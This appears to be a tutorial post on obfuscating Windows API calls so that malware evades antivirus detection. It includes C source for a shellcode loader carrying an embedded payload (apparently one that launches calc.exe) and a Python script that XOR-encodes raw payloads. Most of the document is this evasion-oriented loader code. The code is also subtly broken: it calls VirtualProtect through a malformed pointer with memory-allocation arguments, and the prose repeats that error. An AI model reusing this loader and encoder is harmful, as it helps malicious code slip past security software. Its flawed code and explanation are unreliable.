Function Call Obfuscation is a technique used in the development of malware to hide or disguise the true intention of the code and evade detection by security software.
-
Why Obfuscate Function Calls?
- Evasion: Many security solutions perform static or dynamic analysis on executable files to identify suspicious or malicious behavior. They often do this by looking for known malicious patterns, such as calls to dangerous Windows API functions or known malicious code sequences. By obfuscating these calls, malware developers can make their code harder to detect.
- Anti-Analysis: Function obfuscation can also make malware more difficult to reverse engineer and analyze, as it adds an extra layer of complexity. This can slow down analysis efforts and increase the chances of the malware achieving its goal.
-
Detection based on Imported DLLs and Functions:
- Security solutions often flag executables that import known dangerous or suspicious DLLs or functions. For example, a program that imports
kernel32.dlland uses theCreateProcessfunction might be flagged as potentially malicious, since this could be an indication of process injection. - Malware developers can use function call obfuscation to make these imports less obvious. For instance, instead of directly calling a dangerous function, they might load it dynamically using
LoadLibraryandGetProcAddress, as in your example.
The provided C code represents a basic example of a shellcode loader. It begins by defining an array of bytes,
calc_payload, which is presumably a shellcode payload to be executed. Thecalc_lenvariable stores the length of this payload. TheCostume_Name_For_VirtualProtectfunction pointer is used to store the address of theVirtualProtectfunction, which will be used to change memory protection settings. TheXORfunction is defined but not used in this code; it can be used to decode the payload if it was encoded with XOR. The main function proceeds by loading theVirtualProtectfunction, allocating memory for the payload, and copying the payload into the newly allocated memory. Then, it changes the memory protection of this region to executable usingVirtualProtect, and if this is successful, it creates a new thread to execute the payload usingCreateThread. The program then waits for the thread to complete execution withWaitForSingleObject. The payload in this case is likely to launch the calculator application (calc.exe), based on the last few bytes incalc_payload. - Security solutions often flag executables that import known dangerous or suspicious DLLs or functions. For example, a program that imports
Summary:
The code provided demonstrates an attempt to obfuscate the use of the VirtualProtect function by dynamically importing it at runtime and assigning it to a function pointer with a custom name, Costume_Name_For_VirtualProtect. While this may hide the use of VirtualProtect from a casual inspection or very basic static analysis, it doesn't fully hide the use of VirtualProtect.
Sophisticated static or dynamic analysis tools, as well as heuristic-based detection mechanisms used by modern anti-malware solutions, can likely detect the use of VirtualProtect in this context. These tools can trace the execution flow, function calls, and memory accesses, and therefore can detect the invocation of VirtualProtect, even if it's done indirectly through a function pointer.
Furthermore, the use of GetProcAddress and GetModuleHandle to dynamically load a function is itself a behavior often associated with malicious code, and could trigger warnings or detections from security software.
CPP Code:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// This value was received by the python script below
unsigned char calc_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
unsigned int calc_len = sizeof(calc_payload);
// This is the new VirtualProtect. Code found here: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
BOOL (WINAPI * Costume_Name_For_VirtualProtect(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect));
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int main(void) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
char key[] = "";
Costume_Name_For_VirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
// Allocate buffer for payload
exec_mem = Costume_Name_For_VirtualProtect(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
//XOR((char *) calc_payload, calc_len, key, sizeof(key));
// Copy payload to the buffer
RtlMoveMemory(exec_mem, calc_payload, calc_len);
// Make the buffer executable
rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
printf("\nHit me!\n");
getchar();
// If all good, run the payload
if ( rv != 0 ) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Python Code:
import sys
KEY = "mysecretkeee"
def xor(data, key):
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i%len(key)]
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def printC(ciphertext):
print('{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')
try:
plaintext = open(sys.argv[1], "r").read()
except:
print("File argument needed! %s <raw payload file>" % sys.argv[0])
sys.exit()
ciphertext = xor(plaintext, KEY)
printC(ciphertext)